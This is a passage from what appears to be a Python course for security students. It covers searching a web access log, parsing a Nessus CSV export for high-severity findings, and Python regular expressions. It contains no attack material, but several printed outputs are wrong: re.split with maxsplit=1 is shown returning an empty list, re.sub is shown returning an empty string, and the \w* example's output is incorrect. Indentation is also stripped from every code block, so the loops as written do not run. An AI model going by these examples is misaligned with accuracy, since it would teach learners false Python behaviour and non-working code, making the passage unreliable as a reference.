  910. >>> attacks[3]
  911. 'SQL Injection'
  912.  
  913. >>> attacks[-2]
  914. 'Cross-Site Scripting'
  915.  
  916. >>> exit()
  917.  
  918.  
  919. ##################################
  920. # Level 8: Intro to Log Analysis #
  921. ##################################
  922.  
  923.  
  924. Log into your Linux host then execute the following commands:
  925. -----------------------------------------------------------------------
  926. NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
  927.  
  928.  
  929.  
  930. ---------------------------Type This-----------------------------------
  931. mkdir yourname <---- Use your actual first name (all lowercase and no spaces) instead of the word yourname
  932.  
  933. cd yourname
  934.  
  935. wget http://pastebin.com/raw/85zZ5TZX
  936.  
  937. mv 85zZ5TZX access_log
  938.  
  939.  
  940. cat access_log | grep 141.101.80.188
  941.  
  942. cat access_log | grep 141.101.80.187
  943.  
  944. cat access_log | grep 108.162.216.204
  945.  
  946. cat access_log | grep 173.245.53.160
  947.  
  948. ----------------------------------------------------------------------
  949.  
  950.  
  951.  
  952.  
  953. Google the following terms:
  954. - Python read file
  955. - Python read line
  956. - Python read from file
  957.  
  958.  
  959.  
  960.  
  961. ###############################################################
  962. # Python Lesson 9: Use Python to read in a file line by line #
  963. ###############################################################
  964.  
  965.  
  966. Reference:
  967. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
  968.  
  969.  
  970.  
  971. ---------------------------Type This-----------------------------------
  972.  
  973. nano logread1.py
  974.  
  975.  
  976. ---------------------------Paste This-----------------------------------
  977. ## Open the file with read only permit
  978. f = open('access_log', "r")
  979.  
  980. ## use readlines to read all lines in the file
  981. ## The variable "lines" is a list containing all lines
  982. lines = f.readlines()
  983.  
  984. print (lines)
  985.  
  986.  
  987. ## close the file after reading the lines.
  988. f.close()
  989.  
  990. ----------------------------------------------------------------------
  991.  
  992.  
  993.  
  994.  
  995. ---------------------------Type This-----------------------------------
  996. $ python3 logread1.py
  997. ----------------------------------------------------------------------
  998.  
  999.  
  1000.  
  1001. Google the following:
  1002. - python difference between readlines and readline
  1003. - python readlines and readline
  1004.  
  1005.  
  1006. Here is one student's solution - can you please explain each line of this code to me?
  1007.  
  1008.  
  1009. ---------------------------Type This-----------------------------------
  1010. nano ip_search.py
  1011.  
  1012. ---------------------------Type This-----------------------------------
  1013.  
  1014. nano ip_search.py
  1015.  
  1016. ---------------------------Paste This-----------------------------------
  1017. #!/usr/bin/env python3
  1018.  
  1019. f = open('access_log')
  1020.  
  1021. strUsrinput = input("Enter IP Address: ")
  1022.  
  1023. for line in iter(f):
  1024. ip = line.split(" - ")[0]
  1025. if ip == strUsrinput:
  1026. print (line)
  1027.  
  1028. f.close()
  1029.  
  1030.  
  1031. ----------------------------------------------------------------------
  1032.  
  1033.  
  1034.  
  1035.  
  1036. ---------------------------Type This-----------------------------------
  1037. $ python3 ip_search.py
  1038. ----------------------------------------------------------------------
  1039.  
  1040.  
  1041.  
  1042. Working with another student after class we came up with another solution:
  1043.  
  1044. ---------------------------Type This-----------------------------------
  1045. nano ip_search2.py
  1046.  
  1047. ---------------------------Paste This-----------------------------------
  1048. #!/usr/bin/env python
  1049.  
  1050.  
  1051. # This line opens the log file
  1052. f=open('access_log',"r")
  1053.  
  1054. # This line takes each line in the log file and stores it as an element in the list
  1055. lines = f.readlines()
  1056.  
  1057.  
  1058. # This lines stores the IP that the user types as a var called userinput
  1059. userinput = input("Enter the IP you want to search for: ")
  1060.  
  1061.  
  1062.  
  1063. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  1064. for ip in lines:
  1065. if ip.find(userinput) != -1:
  1066. print (ip)
  1067.  
  1068. ----------------------------------------------------------------------
  1069.  
  1070.  
  1071.  
  1072. ---------------------------Type This-----------------------------------
  1073. $ python3 ip_search2.py
  1074. ----------------------------------------------------------------------
  1075.  
  1076.  
  1077. ################################
  1078. # Lesson 10: Parsing CSV Files #
  1079. ################################
  1080.  
  1081. Dealing with csv files
  1082.  
  1083. Reference:
  1084. http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
  1085.  
  1086. Type the following commands:
  1087. ---------------------------------------------------------------------------------------------------------
  1088.  
  1089. ---------------------------Type This-----------------------------------
  1090.  
  1091. wget http://45.63.104.73/class_nessus.csv
  1092.  
  1093. ----------------------------------------------------------------------
  1094.  
  1095. Example 1 - Reading CSV files
  1096. -----------------------------
  1097. #To be able to read csv formated files, we will first have to import the
  1098. #csv module.
  1099.  
  1100.  
  1101. ---------------------------Type This-----------------------------------
  1102. $ python3
  1103. f = open('class_nessus.csv', 'rb')
  1104. for row in f:
  1105. print (row)
  1106.  
  1107.  
  1108. ----------------------------------------------------------------------
  1109.  
  1110.  
  1111.  
  1112. Example 2 - Reading CSV files
  1113. -----------------------------
  1114.  
  1115. ---------------------------Type This-----------------------------------
  1116.  
  1117. nano readcsv.py
  1118.  
  1119. ---------------------------Paste This-----------------------------------
  1120. #!/usr/bin/env python3
  1121. f = open('class_nessus.csv', 'rb') # opens the csv file
  1122. try:
  1123. for row in f: # iterates the rows of the file in orders
  1124. print (row) # prints each row
  1125. finally:
  1126. f.close() # closing
  1127.  
  1128.  
  1129.  
  1130. ----------------------------------------------------------------------
  1131.  
  1132.  
  1133.  
  1134. Ok, now let's run this thing.
  1135.  
  1136. --------------------------Type This-----------------------------------
  1137. $ python3 readcsv.py
  1138.  
  1139. $ python3 readcsv.py class_nessus.csv
  1140. ----------------------------------------------------------------------
  1141.  
  1142.  
  1143.  
  1144.  
  1145. Example 3 - - Reading CSV files
  1146. -------------------------------
  1147.  
  1148. ---------------------------Type This-----------------------------------
  1149.  
  1150. nano readcsv2.py
  1151.  
  1152. ---------------------------Paste This-----------------------------------
  1153. #!/usr/bin/python3
  1154. # This program will then read it and displays its contents.
  1155.  
  1156.  
  1157. import csv
  1158.  
  1159. ifile = open('class_nessus.csv', "r")
  1160. reader = csv.reader(ifile)
  1161.  
  1162. rownum = 0
  1163. for row in reader:
  1164. # Save header row.
  1165. if rownum == 0:
  1166. header = row
  1167. else:
  1168. colnum = 0
  1169. for col in row:
  1170. print ('%-8s: %s' % (header[colnum], col))
  1171. colnum += 1
  1172.  
  1173. rownum += 1
  1174.  
  1175. ifile.close()
  1176.  
  1177.  
  1178.  
  1179. ----------------------------------------------------------------------
  1180.  
  1181.  
  1182.  
  1183. ---------------------------Type This-----------------------------------
  1184.  
  1185. $ python3 readcsv2.py | less
  1186.  
  1187.  
  1188. ----------------------------------------------------------------------
  1189.  
  1190.  
  1191.  
  1192.  
  1193.  
  1194.  
  1195.  
  1196.  
  1197.  
  1198. ---------------------------Type This-----------------------------------
  1199.  
  1200. nano readcsv3.py
  1201.  
  1202. ---------------------------Paste This-----------------------------------
  1203. #!/usr/bin/python3
  1204. import csv
  1205. f = open('class_nessus.csv', 'r')
  1206. try:
  1207. rownum = 0
  1208. reader = csv.reader(f)
  1209. for row in reader:
  1210. #Save header row.
  1211. if rownum == 0:
  1212. header = row
  1213. else:
  1214. colnum = 0
  1215. if row[3].lower() == 'high':
  1216. print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  1217. rownum += 1
  1218. finally:
  1219. f.close()
  1220.  
  1221. -----------------------------------------------------------------------
  1222.  
  1223.  
  1224. ---------------------------Type This-----------------------------------
  1225.  
  1226. $ python3 readcsv3.py | less
  1227. -----------------------------------------------------------------------
  1228.  
  1229.  
  1230.  
  1231. ---------------------------Type This-----------------------------------
  1232.  
  1233. nano readcsv4.py
  1234. -----------------------------------------------------------------------
  1235.  
  1236. ---------------------------Paste This-----------------------------------
  1237.  
  1238. #!/usr/bin/python3
  1239. import csv
  1240. f = open('class_nessus.csv', 'r')
  1241. try:
  1242. print ('/---------------------------------------------------/')
  1243. rownum = 0
  1244. hosts = {}
  1245. reader = csv.reader(f)
  1246. for row in reader:
  1247. # Save header row.
  1248. if rownum == 0:
  1249. header = row
  1250. else:
  1251. colnum = 0
  1252. if row[3].lower() == 'high' and row[4] not in hosts:
  1253. hosts[row[4]] = row[4]
  1254. print ('%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6]))
  1255. rownum += 1
  1256. finally:
  1257. f.close()
  1258. ----------------------------------------------------------------------
  1259.  
  1260.  
  1261.  
  1262. $ python3 readcsv4.py | less
  1263.  
  1264. ----------------------------------------------------------------------
  1265.  
  1266. #######################
  1267. # Regular Expressions #
  1268. #######################
  1269.  
  1270.  
  1271.  
  1272. **************************************************
  1273. * What is Regular Expression and how is it used? *
  1274. **************************************************
  1275.  
  1276.  
  1277. Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
  1278.  
  1279.  
  1280. Regular expressions use two types of characters:
  1281.  
  1282. a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
  1283.  
  1284. b) Literals (like a,b,1,2…)
  1285.  
  1286.  
  1287. In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
  1288.  
  1289.  
  1290. Use this code --> import re
  1291.  
  1292.  
  1293.  
  1294.  
  1295. The most common uses of regular expressions are:
  1296. --------------------------------------------------
  1297.  
  1298. - Search a string (search and match)
  1299. - Finding a string (findall)
  1300. - Break string into a sub strings (split)
  1301. - Replace part of a string (sub)
  1302.  
  1303.  
  1304.  
  1305. Let's look at the methods that library "re" provides to perform these tasks.
  1306.  
  1307.  
  1308.  
  1309. ****************************************************
  1310. * What are various methods of Regular Expressions? *
  1311. ****************************************************
  1312.  
  1313.  
  1314. The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
  1315.  
  1316. re.match()
  1317. re.search()
  1318. re.findall()
  1319. re.split()
  1320. re.sub()
  1321. re.compile()
  1322.  
  1323. Let's look at them one by one.
  1324.  
  1325.  
  1326. re.match(pattern, string):
  1327. -------------------------------------------------
  1328.  
  1329. This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
  1330.  
  1331. Code
  1332. ---------------------------Type This-----------------------------------
  1333. $ python3
  1334. import re
  1335. result = re.match(r'AV', 'AV Analytics ESET AV')
  1336. print (result)
  1337. ----------------------------------------------------------------------
  1338.  
  1339. Output:
  1340. <_sre.SRE_Match object at 0x0000000009BE4370>
  1341.  
  1342. Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
  1343.  
  1344. ---------------------------Type This-----------------------------------
  1345. $ python3
  1346. import re
  1347. result = re.match(r'AV', 'AV Analytics ESET AV')
  1348. print (result.group(0))
  1349. ----------------------------------------------------------------------
  1350.  
  1351. Output:
  1352. AV
  1353.  
  1354.  
  1355. Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
  1356.  
  1357.  
  1358. Code
  1359. ---------------------------Type This-----------------------------------
  1360. $ python3
  1361. import re
  1362. result = re.match(r'Analytics', 'AV Analytics ESET AV')
  1363. print (result)
  1364.  
  1365. ----------------------------------------------------------------------
  1366.  
  1367.  
  1368. Output:
  1369. None
  1370.  
  1371.  
  1372. There are methods like start() and end() to know the start and end position of matching pattern in the string.
  1373.  
  1374. Code
  1375. ---------------------------Type This-----------------------------------
  1376. $ python3
  1377. import re
  1378. result = re.match(r'AV', 'AV Analytics ESET AV')
  1379. print (result.start())
  1380. print (result.end())
  1381.  
  1382. ----------------------------------------------------------------------
  1383.  
  1384. Output:
  1385. 0
  1386. 2
  1387.  
  1388. Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
  1389.  
  1390.  
  1391.  
  1392.  
  1393.  
  1394. re.search(pattern, string):
  1395. -----------------------------------------------------
  1396.  
  1397.  
  1398. It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
  1399.  
  1400. Code
  1401. ---------------------------Type This-----------------------------------
  1402. $ python3
  1403. import re
  1404. result = re.search(r'Analytics', 'AV Analytics ESET AV')
  1405. print (result.group(0))
  1406. ----------------------------------------------------------------------
  1407.  
  1408. Output:
  1409. Analytics
  1410.  
  1411. Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
  1412.  
  1413.  
  1414.  
  1415.  
  1416.  
  1417.  
  1418. re.findall (pattern, string):
  1419. ------------------------------------------------------
  1420.  
  1421.  
  1422. It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
  1423.  
  1424.  
  1425. Code
  1426. ---------------------------Type This-----------------------------------
  1427. $ python3
  1428. import re
  1429. result = re.findall(r'AV', 'AV Analytics ESET AV')
  1430. print (result)
  1431. ----------------------------------------------------------------------
  1432.  
  1433. Output:
  1434. ['AV', 'AV']
  1435.  
  1436.  
  1437.  
  1438.  
  1439.  
  1440. re.split(pattern, string, [maxsplit=0]):
  1441. ------------------------------------------------------
  1442.  
  1443.  
  1444.  
  1445. This methods helps to split string by the occurrences of given pattern.
  1446.  
  1447.  
  1448. Code
  1449. ---------------------------Type This-----------------------------------
  1450. $ python3
  1451. result=re.split(r'y','Analytics')
  1452. result
  1453. ----------------------------------------------------------------------
  1454.  
  1455. Output:
  1456. ['Anal', 'tics']
  1457.  
  1458. Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
  1459.  
  1460.  
  1461. Code
  1462. ---------------------------Type This-----------------------------------
  1463. $ python3
  1464. import re
  1465. result=re.split(r's','Analytics eset')
  1466. print (result)
  1467.  
  1468. ----------------------------------------------------------------------
  1469.  
  1470. Output:
  1471. ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
  1472.  
  1473.  
  1474.  
  1475. Code
  1476. ---------------------------Type This-----------------------------------
  1477. $ python3
  1478. import re
  1479. result=re.split(r's','Analytics eset',maxsplit=1)
  1480. print (result)
  1481.  
  1482. ----------------------------------------------------------------------
  1483.  
  1484. Output:
  1485. []
  1486.  
  1487.  
  1488.  
  1489.  
  1490.  
  1491. re.sub(pattern, repl, string):
  1492. ----------------------------------------------------------
  1493.  
  1494. It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
  1495.  
  1496. Code
  1497. ---------------------------Type This-----------------------------------
  1498. $ python3
  1499. import re
  1500. result=re.sub(r'Ruby','Python','Joe likes Ruby')
  1501. print (result)
  1502. ----------------------------------------------------------------------
  1503.  
  1504. Output:
  1505. ''
  1506.  
  1507.  
  1508.  
  1509.  
  1510.  
  1511. re.compile(pattern, repl, string):
  1512. ----------------------------------------------------------
  1513.  
  1514.  
  1515. We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
  1516.  
  1517.  
  1518. Code
  1519. ---------------------------Type This-----------------------------------
  1520. $ python3
  1521. import re
  1522. pattern=re.compile('XSS')
  1523. result=pattern.findall('XSS is Cross Site Scripting, XSS')
  1524. print (result)
  1525. result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
  1526. print (result2)
  1527.  
  1528. ----------------------------------------------------------------------
  1529.  
  1530. Output:
  1531. ['XSS', 'XSS']
  1532. ['XSS']
  1533.  
  1534. Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated.
  1535.  
  1536. This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators.
  1537.  
  1538.  
  1539.  
  1540.  
  1541.  
  1542. **********************************************
  1543. * What are the most commonly used operators? *
  1544. **********************************************
  1545.  
  1546.  
  1547. Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information.
  1548.  
  1549. Operators Description
  1550. . Matches with any single character except newline ‘\n'.
  1551. ? match 0 or 1 occurrence of the pattern to its left
  1552. + 1 or more occurrences of the pattern to its left
  1553. * 0 or more occurrences of the pattern to its left
  1554. \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
  1555. \d Matches with digits [0-9] and /D (upper case D) matches with non-digits.
  1556. \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
  1557. \b boundary between word and non-word and /B is opposite of /b
  1558. [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket
  1559. \ It is used for special meaning characters like \. to match a period or \+ for plus sign.
  1560. ^ and $ ^ and $ match the start or end of the string respectively
  1561. {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
  1562. a| b Matches either a or b
  1563. ( ) Groups regular expressions and returns matched text
  1564. \t, \n, \r Matches tab, newline, return
  1565.  
  1566.  
  1567. For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
  1568.  
  1569. Now, let's understand the pattern operators by looking at the below examples.
  1570.  
  1571.  
  1572.  
  1573. ****************************************
  1574. * Some Examples of Regular Expressions *
  1575. ****************************************
  1576.  
  1577. ******************************************************
  1578. * Problem 1: Return the first word of a given string *
  1579. ******************************************************
  1580.  
  1581.  
  1582. Solution-1 Extract each character (using "\w")
  1583. ---------------------------------------------------------------------------
  1584.  
  1585. Code
  1586. ---------------------------Type This-----------------------------------
  1587. $ python3
  1588. import re
  1589. result=re.findall(r'.','Python is the best scripting language')
  1590. print (result)
  1591. ----------------------------------------------------------------------
  1592.  
  1593. Output:
  1594. ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1595.  
  1596.  
  1597. Above, space is also extracted, now to avoid it use "\w" instead of ".".
  1598.  
  1599.  
  1600. Code
  1601. ---------------------------Type This-----------------------------------
  1602. $ python3
  1603. import re
  1604. result=re.findall(r'\w','Python is the best scripting language')
  1605. print (result)
  1606.  
  1607. ----------------------------------------------------------------------
  1608.  
  1609. Output:
  1610. ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
  1611.  
  1612.  
  1613.  
  1614.  
  1615. Solution-2 Extract each word (using "*" or "+")
  1616. ---------------------------------------------------------------------------
  1617.  
  1618. Code
  1619. ---------------------------Type This-----------------------------------
  1620. $ python3
  1621. import re
  1622. result=re.findall(r'\w*','Python is the best scripting language')
  1623. print (result)
  1624.  
  1625. ----------------------------------------------------------------------
  1626.  
  1627. Output:
  1628. ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
  1629.  
  1630.  
  1631. Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
  1632.  
  1633. Code
  1634. ---------------------------Type This-----------------------------------
  1635. $ python3
  1636. import re
  1637. result=re.findall(r'\w+','Python is the best scripting language')
  1638. print (result)
  1639.  
  1640. ----------------------------------------------------------------------
  1641.  
  1642. Output:
  1643. ['Python', 'is', 'the', 'best', 'scripting', 'language']
  1644.  
  1645.  
  1646.  
  1647.  
  1648. Solution-3 Extract each word (using "^")
  1649. -------------------------------------------------------------------------------------
  1650.  
  1651.  
  1652. Code
  1653. ---------------------------Type This-----------------------------------
  1654. $ python3
  1655. import re
  1656. result=re.findall(r'^\w+','Python is the best scripting language')
  1657. print (result)
  1658.  
  1659. ----------------------------------------------------------------------
  1660.  
  1661. Output:
  1662. ['Python']
  1663.  
  1664. If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
  1665.  
  1666. Code
  1667. ---------------------------Type This-----------------------------------
  1668. $ python3
  1669. import re
  1670. result=re.findall(r'\w+$','Python is the best scripting language')
  1671. print (result)
  1672. ----------------------------------------------------------------------
  1673.  
  1674. Output:
  1675. [‘language']
  1676.  
  1677.  
  1678.  
  1679.  
  1680.  
  1681. **********************************************************
  1682. * Problem 2: Return the first two character of each word *
  1683. **********************************************************
  1684.  
  1685.  
  1686.  
  1687.  
  1688. Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w")
  1689. ------------------------------------------------------------------------------------------------------
  1690.  
  1691. Code
  1692. ---------------------------Type This-----------------------------------
  1693. $ python3
  1694. import re
  1695. result=re.findall(r'\w\w','Python is the best')
  1696. print (result)
  1697.  
  1698. ----------------------------------------------------------------------
  1699.  
  1700. Output:
  1701. ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
  1702.  
  1703.  
  1704.  
  1705.  
  1706.  
  1707. Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b")
  1708. ------------------------------------------------------------------------------------------------------
  1709.  
  1710. Code
  1711. ---------------------------Type This-----------------------------------
  1712. $ python3
  1713. import re
  1714. result=re.findall(r'\b\w.','Python is the best')
  1715. print (result)
  1716.  
  1717. ----------------------------------------------------------------------
  1718.  
  1719. Output:
  1720. ['Py', 'is', 'th', 'be']
  1721.  
  1722.  
  1723.  
  1724.  
  1725.  
  1726.  
  1727. ********************************************************
  1728. * Problem 3: Return the domain type of given email-ids *
  1729. ********************************************************
  1730.  
  1731.  
  1732. To explain it in simple manner, I will again go with a stepwise approach:
  1733.  
  1734.  
  1735.  
  1736.  
  1737.  
  1738. Solution-1 Extract all characters after "@"
  1739. ------------------------------------------------------------------------------------------------------------------
  1740.  
  1741. Code
  1742. ---------------------------Type This-----------------------------------
  1743. $ python3
  1744. import re
  1745. result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1746. print (result)
  1747. ----------------------------------------------------------------------
  1748.  
  1749. Output: ['@gmail', '@test', '@strategicsec', '@rest']
  1750.  
  1751.  
  1752.  
  1753. Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
  1754.  
  1755. ---------------------------Type This-----------------------------------
  1756. $ python3
  1757. import re
  1758. result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1759. print (result)
  1760.  
  1761. ----------------------------------------------------------------------
  1762.  
  1763. Output:
  1764. ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
  1765.  
  1766.  
  1767.  
  1768.  
  1769.  
  1770.  
  1771. Solution – 2 Extract only domain name using "( )"
  1772. -----------------------------------------------------------------------------------------------------------------------
  1773.  
  1774.  
  1775. Code
  1776. ---------------------------Type This-----------------------------------
  1777. $ python3
  1778. import re
  1779. result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
  1780. print (result)
  1781.  
  1782. ----------------------------------------------------------------------
  1783.  
  1784. Output:
  1785. ['com', 'com', 'com', 'biz']
  1786.  
  1787.  
  1788.  
  1789. ********************************************
  1790. * Problem 4: Return date from given string *
  1791. ********************************************
  1792.  
  1793.  
  1794. Here we will use "\d" to extract digit.
  1795.  
  1796.  
  1797. Solution:
  1798. ----------------------------------------------------------------------------------------------------------------------
  1799.  
  1800. Code
  1801. ---------------------------Type This-----------------------------------
  1802. $ python3
  1803. import re
  1804.  
  1805. result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  1806. print (result)
  1807.  
  1808. ----------------------------------------------------------------------
  1809.  
  1810. Output:
  1811. ['12-05-2007', '11-11-2016', '12-01-2009']
  1812.  
  1813. If you want to extract only year again parenthesis "( )" will help you.
  1814.  
  1815.  
  1816. Code
  1817.  
  1818. ---------------------------Type This-----------------------------------
  1819. $ python3
  1820. import re
  1821. result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
  1822. print (result)
  1823.  
  1824. ----------------------------------------------------------------------
  1825.  
  1826. Output:
  1827. ['2007', '2016', '2009']
  1828.  
  1829.  
  1830.  
  1831.  
  1832.  
  1833. *******************************************************************
  1834. * Problem 5: Return all words of a string those starts with vowel *
  1835. *******************************************************************
  1836.  
  1837.  
  1838.  
  1839.  
  1840. Solution-1 Return each words
  1841. -----------------------------------------------------------------------------------------------------------------
  1842.  
  1843. Code
  1844. ---------------------------Type This-----------------------------------
  1845. $ python3
  1846. import re
  1847. result=re.findall(r'\w+','Python is the best')
  1848. print (result)
  1849. ----------------------------------------------------------------------
  1850.  
  1851. Output:
  1852. ['Python', 'is', 'the', 'best']
  1853.  
  1854.  
  1855.  
  1856.  
  1857.  
  1858. Solution-2 Return words starts with alphabets (using [])
  1859. ------------------------------------------------------------------------------------------------------------------
  1860.  
  1861. Code
  1862. ---------------------------Type This-----------------------------------
  1863. $ python3
  1864. import re
  1865. result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
  1866. print (result)
  1867.  
  1868. ----------------------------------------------------------------------
  1869.  
  1870. Output:
  1871. ['ove', 'on']
  1872.  
  1873. Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
  1874.  
  1875.  
  1876.  
  1877.  
  1878.  
  1879. Solution- 3
  1880. ------------------------------------------------------------------------------------------------------------------
  1881.  
  1882. Code
  1883. ---------------------------Type This-----------------------------------
  1884. $ python3
  1885. import re
  1886. result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
  1887. print (result)
  1888.  
  1889. ----------------------------------------------------------------------
  1890.  
  1891. Output:
  1892. []
  1893.  
  1894. In similar ways, we can extract words those starts with constant using "^" within square bracket.
  1895.  
  1896.  
  1897. Code
  1898. ---------------------------Type This-----------------------------------
  1899. $ python3
  1900. import re
  1901. result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
  1902. print (result)
  1903.  
  1904. ----------------------------------------------------------------------
  1905.  
  1906. Output:
  1907. [' love', ' Python']
  1908.  
  1909. Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
  1910.  
  1911.  
  1912. Code
  1913. ---------------------------Type This-----------------------------------
  1914. $ python3
  1915. import re
  1916. result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
  1917. print (result)
  1918.  
  1919. ----------------------------------------------------------------------
  1920.  
  1921. Output:
  1922. ['love', 'Python']
  1923.  
  1924.  
  1925.  
  1926.  
  1927.  
  1928.  
  1929. *************************************************************************************************
  1930. * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
  1931. *************************************************************************************************
  1932.  
  1933.  
  1934. We have a list phone numbers in list "li" and here we will validate phone numbers using regular
  1935.  
  1936.  
  1937.  
  1938.  
  1939. Solution
  1940. -------------------------------------------------------------------------------------------------------------------------------------
  1941.  
  1942.  
  1943. Code
  1944. ---------------------------Type This-----------------------------------
  1945. $ python3
  1946. import re
  1947. li=['9999999999','999999-999','99999x9999']
  1948. for val in li:
  1949. if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
  1950. print ('yes')
  1951. else:
  1952. print ('no')
  1953.  
  1954.  
  1955. ----------------------------------------------------------------------
  1956.  
  1957. Output:
  1958. yes
  1959. no
  1960. no
  1961.  
  1962.  
  1963.  
  1964.  
  1965.  
  1966. ******************************************************
  1967. * Problem 7: Split a string with multiple delimiters *
  1968. ******************************************************
  1969.  
  1970.  
  1971.  
  1972. Solution
  1973. ---------------------------------------------------------------------------------------------------------------------------
  1974.  
  1975.  
  1976. Code
  1977. ---------------------------Type This-----------------------------------
  1978. $ python3
  1979. import re
  1980. line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
  1981. result= re.split(r'[;,\s]', line)
  1982. print (result)
  1983.  
  1984. ----------------------------------------------------------------------
  1985.  
  1986. Output:
  1987. ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
  1988.  
  1989.  
  1990.  
  1991. We can also use method re.sub() to replace these multiple delimiters with one as space " ".
  1992.  
  1993.  
  1994. Code
  1995. ---------------------------Type This-----------------------------------
  1996. $ python3
  1997. import re
  1998. line = 'asdf fjdk;afed,fjek,asdf,foo'
  1999. result= re.sub(r'[;,\s]',' ', line)
  2000. print (result)
  2001.  
  2002. ----------------------------------------------------------------------
  2003.  
  2004. Output:
  2005. asdf fjdk afed fjek asdf foo
  2006.  
  2007.  
  2008.  
  2009.  
  2010. **************************************************
  2011. * Problem 8: Retrieve Information from HTML file *
  2012. **************************************************
  2013.  
  2014.  
  2015.  
  2016. I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
  2017.  
  2018.  
  2019.  
  2020. Create a file that contains the following data:
  2021. ---------------------------Paste This-----------------------------------
  2022.  
  2023. <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
  2024. <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
  2025. <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
  2026. <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
  2027. <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
  2028. <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
  2029. <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
  2030. ----------------------------------------------------------------------
  2031.  
  2032. Solution:
